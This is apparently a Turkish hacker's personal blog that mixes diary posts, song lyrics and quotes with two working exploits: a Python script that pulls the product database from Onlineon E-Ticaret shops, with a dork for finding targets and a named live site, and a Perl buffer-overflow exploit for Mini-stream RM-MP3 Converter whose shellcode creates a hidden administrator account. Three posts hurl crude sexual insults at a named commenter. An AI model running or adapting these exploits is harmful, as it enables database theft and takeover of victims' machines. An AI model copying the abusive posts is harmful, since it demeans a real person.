ZoRLu | ZRL | Buffer Overflow

2 Ekim 2014 Perşembe

Onlineon E-Ticaret Database Disclosure Exploit

#!/usr/bin/env python
#-*- coding:cp1254 -*-
 
# Title        : Onlineon E-Ticaret Database Disclosure Exploit (.py)
# dork         : inurl:"default.asp?git=sepet"
# Author       : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home         : http://milw00rm.com / its online
# Download     : http://www.onlineonweb.com/eticaret.html
# Demo         : http://ayvalikkokluzeytincilik.com
# date         : 06/09/2014
# Python       : V 2.7
# Thks         : exploit-db.com and others
 
   
import sys, urllib2, re, os, time
   
def indiriyoruz(url):
       
    import urllib
    aldosyayi = urllib.urlopen(url)
    indiraq = open(url.split('/')[-1], 'wb')
    indiraq.write(aldosyayi.read())
    aldosyayi.close()
    indiraq.close()
   
if len(sys.argv) < 2:
    os.system(['clear','cls'][1])
    print " ____________________________________________________________________"
    print "|                                                                    |"
    print "|   Onlineon E-Ticaret Database Disclosure Exploit (.py)             |"
    print "|   ZoRLu / milw00rm.com                                             |"
    print "|   exploit.py http://site.com/path/                                 |"
    print "|____________________________________________________________________|"
    sys.exit(1)
   
''' link kontrol 1 '''
                       
koybasina = "http://"
koykicina = "/"
sitemiz = sys.argv[1]
 
if sitemiz[-1:] != koykicina:
    sitemiz += koykicina
       
if sitemiz[:7]  != koybasina:
    sitemiz =  koybasina + sitemiz
   
 
database = "db/urun.mdb"
url2 = sitemiz + database
print   "\n" + url2
print "\nlink check"
time.sleep(1)
   
''' link kontrol 2 '''
   
try:
    adreskontrol = urllib2.urlopen(url2).read()
       
    if len(adreskontrol) > 0:
                                           
        print "\nGood Job Bro!"
       
except urllib2.HTTPError:
        import os
        import sys
        print "\nForbidden Err0r, Security!"
        sys.exit(1)
       
   
''' dosya indiriliyor '''
   
if __name__ == '__main__':
    import sys
    if len(sys.argv) == 2:
        print "\nFile is Downloading\n"
        try:
            indiriyoruz(url2)
        except IOError:
            print '\nFilename not found.'

26 Eylül 2014 Cuma

Zaman Sonra...

Yeniden online... Bloglamak yada onun gibi birşey vardı, bir terim miydi neydi o? Her neyse onu bile unutmuşum :(

9 Ağustos 2013 Cuma

Dr.Ly0n

yakın zamanda neler yapmış öğrenmek için küçük bi araştırma yaptım ortalığı kasmış kavurmuş kardeşim ve ekibi ;) ekşi mekşi ne bulmuşsa hacklemiş :) tebrikler kardeşim ;)

Hayırlı Bayramlar. (Özlemişim :) )

Baya bi zaman geçmiş. ben hesap çoktan kapanmıştır falan dedim. vay be :(

29 Haziran 2012 Cuma

2 Mart 2012 Cuma

çok olmuş ya bloğa girmeyeli. inanın şifreyi bile zor hatırladım. sanal bitti gibi gibi. aslında girmeyecektim ama yine de bi göz atmaktan alı koyamadım kendimi. özlemiyor değilim eski günleri ve dostalarımı (life, bla, doktor) hatırlayamadıklarım hakkını helal etsin :( belki yine arada girerim yada daha da girmem :) görüşürüz umarım belki de takipçim bile kalmadı :))) hee aklıma gelmişken kpss olmadı ee başka bi işte olmadı aylak aylak geziyorum a.q :((

26 Temmuz 2011 Salı

özlemişim :))

ocak 17-temmuz 26 baya bi zaman geçmiş :)) pr aşağı düşmüş aşağılık kopmleksi yaşıyormuş :P doktor muhtemelen asker ;) life kardeşimle görüşemedim bile :(( bla aylardır bloğuna uğramamış ben gibi :(( vs vs vs ben neler yaptım küçük bi site tasarladım public yaparım çok eksiği var :) ama tema vs beni sardı. buffer overflow a baya bi yoğunlaştım ara ara kafayı mı yiyorum diye tereddütler yaşayınca aralar verdim :) verdiğim aralarda da siteyi tasarladım :) php baya bi ilerlettim yani uzmanlık seviyesinde değil ama benim işimi görüyor. bol bol lfi ile uğrastım :DD keza python yine baş tacı :)) 20 bilemedin 25 gün kadar da kpss hazırlandım çok bile :)) bu kadar başka değişiklik yok.

17 Ocak 2011 Pazartesi

Mini-stream RM-MP3 Converter Buffer Overflow Exploit


# Title        : Mini-stream RM-MP3 Converter Buffer Overflow Exploit
# Author       : ZoRLu
# Proof        : http://img843.imageshack.us/img843/3144/buffer.jpg
# Desc.        : usr: zrl , pass: 123456 , localgroup: Administrator
#Tested        : xp/sp3
# mail-msn     : admin@yildirimordulari.com
# Home         : http://z0rlu.blogspot.com
# Date         : 04/01/2011
# Teşekkür     : Dr.Ly0n LifeSteaLeR

my $dosya= "zrl.m3u";
my $zart= "\x41" x 26059;
my $zurt= "\x90" x 24;
my $eip = pack('V',0x7E3EA32F);  # 0x7E3EA32F  user32.dll jmp esp

# windows/exec - 127 bytes
# Thanks to http://www.exploit-db.com/exploits/15063/
# Encoder: win32/ZoRLu
# Desc.: usr: zrl , pass: 123456
# CMD=Add Admin
my $shell = "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x5d\x53\xbb\xad\x23\x86\x7c".
   "\xff\xd3\x31\xc0\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe0\xff\xff\xff".
   "\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73".
   "\x65\x72\x20\x7a\x72\x6c\x20\x31\x32\x33\x34\x35\x36\x20\x2f\x61\x64".
   "\x64\x20\x26\x26\x20\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67\x72\x6f".
   "\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73\x74\x72\x61\x74\x6f\x72\x73".
   "\x20\x2f\x61\x64\x64\x20\x7a\x72\x6c\x20\x26\x26\x20\x6e\x65\x74\x20".
   
"\x75\x73\x65\x72\x20\x7a\x72\x6c";        

open($FILE,">$dosya");
print $FILE $zart.$eip.$zurt.$shell;
close($FILE);
print "\n$dosya Dosyasi Hazir\n";

5 Ocak 2011 Çarşamba

küçük bir analiz

bugün bir siteye denk geldim biraz kurcalarken aşağıda ki durumla karsılastım

direk kaynağı görüntüledim ve bir adresle karsılastım

belirtilen siteye gittim ("http://divenci.com.br/2009/yaa.htm") ve orda da kaynağı görüntüledim aşağıda ki gibi encode edilmiş kodlarla karsılastım

kodları decode ettim sonucu sizlerde az cok tahmin etmişsinizdir

site üzereinden bilgisayara "bhr.exe" dosyası yükleniyordu :)

3 Ocak 2011 Pazartesi

Öykü-Berk Geceler Düsman

Oyku & Berk Geceler Dusman 2009 Zamanla.Net Zmuzik.Net
Yükleyen Zamanlanet. - Yüksek çözünürlüklü video keyfini yaşayın!

Öykü - Berk Yaktın Yandırdın Beni

Oyku & Berk Yaktın Yandırdın Beni 2009 Zmuzik.Net
Yükleyen Zamanlanet. - Öne çıkan müzik videolarını izleyin.

Siyah perçemini yar yar
Dökmüş yüzüne
Salınarak gelen humaya bakın
Kimden söz işitmiş yar yar

Düşmüş yüzüne
Keder yakışmayan simaya bakın
Yar yar yar yar eylemen
Yaktın yandırdın beni

Zalım aldattın beni
Ne dedimde darıldın
Bir kula sattın beni
Yandırdın yaktın beni

Zalim aldattın beni
Ne dedimde darıldın
Bir kula sattın beni

Al göğsün üstüne yar yar
Bir bağ dikilmiş
Bin bir çeşit çiçeklerden ekilmiş
Dün uğradım bir ücraya çekilmiş

Bulutmu kaplamış şu aya bakın
Yar yar yar eylenemem
Yaktın yandırdın beni
Zalım aldattın beni

Ne dedimde darıldın
Bir kula sattın beni
Yandırdın yaktın beni
Zalim aldattın beni

Ne dedimde darıldın
Bir kula sattın beni

götün birine hitaben 3 / +18

ben adama diyorum ki "umarın sevgili annenin kıymetini biliyosundur" onun yaptığı yoruma bakın :DD yavru ananı siktirmeye bu kadar meraklıysan, bu çok hoşuna gidiyorsa, evde boş oturma in aşağı yoldan birini çevir bu işi zevkle yapacaktır. belliki anan seni doğmamış "SIÇMIŞ" yoksa hangi insan evladı bu kadar şereften haysiyetten yoksun olabilir ki :DD hee öyle sürekli giremiyorum bloğa o yüzden geç konu acıyorum sen yorumunu yaz ben gelir konuyu acarım acele etme yani :DD

NOT: Değerli okuyucularım sizler bu konuyu okumayın sadece o gerizekalı için açıyorum bu konuyu ee her kesime hitap etmek zorundayım :DD

27 Aralık 2010 Pazartesi

götün birine hitaben 2 / +18

öncelikle bi önceki yazımda kurduğum su cümleyi hatırlatarak yazıya başlıycam knowlits iti "umarın sevgili annenin kıymetini biliyosundur" bu cümleyi özellikle kurdum hassasiyetini merak ettim bu kadar alçalacağın aklıma bile gelmemişti la yarram iyi yada kötü yorum falan yazma küfredecem diyorum sen halen utanmadan yorum yazıyorsun emin ol ben bıkmam yazdığın her yorum için bir konu acarım bak bu kez büyüklüğü ben yapıcam küfretmiycem ama sen ısrarcı olursan bana küfret diye emin ol seni kırmam ;)

25 Aralık 2010 Cumartesi

götün birine hitaben / +18

bi önceki yazıma götün biri bi yorum yapmış nicki knowlits. la daşşağım sen (nesi)kimsin ki bana diyecek laf bulamayasın amın oğlu, şimdi bu yazıma senin annenle ilgili birçok etiket ekliycem bakalım dediğin gibi hit yapacak mı ? etiketleri özellikle oku göt bundan sonra yorum yaparken de unutma ben onaylamadıkça senin yazdıklarının hiç bi önemi yok sen her yorum yazdıkça annenle ilgili bir konu yayınlıycam haberin olsun umarın sevgili annenin kıymetini biliyosundur

24 Aralık 2010 Cuma

Anlayana

ne yazsam diye düşünürken gökhanımın yazısı gözüme çarptı bende sizlerle paylaşmak istedim gayet güzel bir yazı tabi anlayana ;)

"Dövüşeceksen aslanla dövüş, Aslan kavgadan kaçmaz.Dalaşacaksan bir kurtla dalaş,Saldıracaksa saldırır, çekinmez.Dağlarda kartala meydan oku,Kanatlarını gizleyemez.Akreple bile uğraşabilirsin,Zehri görünmese de, iğnesi görünür.Ama bir yılanla savaşma,Çünkü yılan kuytuda bekler, göremezsin.Zehri... ağzındadır, sokmadan bilemezsin.Güreşeceksen bir ayıyla güreş,Onun güreşi hilesizdir, oyun bilmez.Düşman arıyorsan, tilki gibi olsun,Onun silahı zekasıdır.Ama bir çakalla savaşma,Çünkü çakal sessiz gelir, göremezsin,Mertçe savaşmaz, yenemezsin.Bunların hepsi etrafında dolaşır,Tanıdıklarının yüzüne iyi bak, anlarsın.Ve unutma, yılan leylekten,Çakal değnekten korkar.Ya sende bu ikisinden korkuyorsundur,Ya da bu ikisi senden..."

Kaynak: http://gokhanlab.blogspot.com/2010/12/anlayana.html

16 Aralık 2010 Perşembe

Blogla(yama)mak

bu 2010 dan hiç bi halt anlamadım birşeyde yolunda gitmez mi yav :S bitsede kurtulsak a.q doğru dürüst entry bile giremiyoruz ne yazayım diye düşünüp duruyorum aslında artık eskisi gibi nete de giremiyorum :( gökhanım(bla) Tg'den ayrılmış, doktor kardeşim isyanlarda herkese küsmüş hayırdır inş :(

26 Kasım 2010 Cuma

Selam Aleyküm :)

Öldümde geldim :)) kpss 10-0 a.q sıçtı ağzımıza bıraktı 2 haftaya şoku anca atlattım sonuç şöyle 90 doğru 30 yanlış :( puan 82,090 genel sıralama 25 bin küsürlerde branş sıralamam 5 bin küsürlerde vs vs vs. oyüzden 10-0 ama ben bu kpss ye 90 dan bi gol atacam amına koyacam 2011 temmuzda ;)

12 Kasım 2010 Cuma

ösym

ösym klasını yine konusturdu :P sistem yine güm vay a.q :S

meraklı bekleyiş...

işte beklenen an geldi bakalım sonuclar nasıl olacak. hadi hayırlısı